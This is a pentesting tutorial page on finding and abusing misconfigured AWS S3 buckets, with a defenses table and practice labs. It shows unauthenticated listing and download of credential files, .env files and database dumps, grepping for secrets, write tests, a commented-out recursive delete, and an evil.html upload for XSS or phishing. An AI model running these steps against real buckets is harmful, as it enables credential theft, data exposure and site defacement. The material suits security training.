> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/02-s3.md).

# Module 02 — S3 Bucket Misconfigurations

## 🎯 What You'll Learn

* How to discover S3 buckets belonging to a target
* How to check for public access misconfigurations
* How to extract data and credentials from exposed buckets
* How to test for write/delete access

***

## 📖 Theory

S3 (Simple Storage Service) is AWS's object storage. Buckets can be:

* **Private** → only accessible with valid AWS credentials
* **Public Read** → anyone can list and download objects
* **Public Write** → anyone can upload files (rare, dangerous)
* **ACL-based** → object-level permissions, often misconfigured

Bucket names are **globally unique** and predictable — attackers can guess them from company names.

***

## 🔍 Phase 1 — Discover Buckets

### Guess bucket names

```bash
# Common patterns companies use:
# company-backups, company-dev, company-prod-data, company-logs
# companyname.com, assets.companyname, companyname-internal

# Use s3scanner to brute force
pip install s3scanner

s3scanner scan --buckets-file wordlist.txt
# Or pipe names
echo "target-company-backups" | s3scanner scan
```

### Find buckets via passive recon

```bash
# Search GitHub for S3 URLs (use GitHub dorks)
# site:s3.amazonaws.com "companyname"

# Check JS files in web apps for bucket references
# grep -r "s3.amazonaws.com" *.js

# Certificate transparency logs
curl "https://crt.sh/?q=%.s3.amazonaws.com&output=json" | jq '.[].name_value'
```

***

## 🔍 Phase 2 — Check Access (Unauthenticated)

```bash
# Try listing without credentials
aws s3 ls s3://target-bucket-name --no-sign-request

# If it lists files → bucket is publicly readable

# Try downloading a file
aws s3 cp s3://target-bucket-name/secret.txt . --no-sign-request

# Sync entire bucket
aws s3 sync s3://target-bucket-name ./loot --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket-name --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket-name --no-sign-request
```

***

## 🔍 Phase 3 — Check Access (Authenticated)

```bash
# With your pentest credentials, you may have more access
aws s3 ls s3://target-bucket-name --profile pentest

# Check all buckets your identity can see
aws s3 ls --profile pentest

# List all buckets in the account
aws s3api list-buckets --profile pentest
```

***

## 💥 Phase 4 — Exploit Misconfigurations

### Read sensitive files

```bash
# Common high-value targets:
aws s3 cp s3://target/.env . --no-sign-request            # env vars with secrets
aws s3 cp s3://target/config.json . --no-sign-request     # app config
aws s3 cp s3://target/backup.sql . --no-sign-request      # database dumps
aws s3 cp s3://target/.aws/credentials . --no-sign-request # AWS keys!

# Recursively download and grep for secrets
aws s3 sync s3://target . --no-sign-request
grep -r "aws_access_key\|password\|secret\|api_key" .
```

### Test write access

```bash
# Can you upload?
echo "pentest" > test.txt
aws s3 cp test.txt s3://target/test.txt --no-sign-request

# Can you delete?
aws s3 rm s3://target/test.txt --no-sign-request

# Ransomware simulation: delete all (don't do this on real targets!)
# aws s3 rm s3://target --recursive
```

### Static website hosting abuse

```bash
# If bucket hosts a static website, you might be able to upload malicious HTML
aws s3 cp evil.html s3://target/index.html --no-sign-request
# → Could lead to stored XSS or phishing
```

***

## 🔑 What to Look For in Buckets

```
.env
*.pem, *.key, *.p12           → private keys and certs
credentials, .aws/credentials → AWS access keys
config.json, settings.py      → hardcoded secrets
*.sql, *.dump, *.bak          → database backups
*.log                         → app logs (may contain tokens)
id_rsa, id_ed25519            → SSH private keys
*.tfstate                     → Terraform state (has secrets!)
```

***

## 🤖 Automate with Pacu

```bash
python3 pacu.py

run s3__bucket_finder          # find buckets via permutation
run s3__download_bucket        # auto-download and search for secrets
```

***

## 🛡️ Defenses

| Misconfiguration     | Fix                                   |
| -------------------- | ------------------------------------- |
| Public read ACL      | Enable "Block All Public Access"      |
| Public bucket policy | Audit and restrict bucket policies    |
| Unencrypted data     | Enable S3 server-side encryption      |
| No logging           | Enable S3 access logging + CloudTrail |

***

## 🧪 Practice Lab

Use CloudGoat scenario: `cloud_breach_s3`

```bash
./cloudgoat.py create cloud_breach_s3
```

***

## 📎 References

* [flaws.cloud](http://flaws.cloud) — Free S3 challenge
* [HackTricks S3](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-s3-attack)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/02-s3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.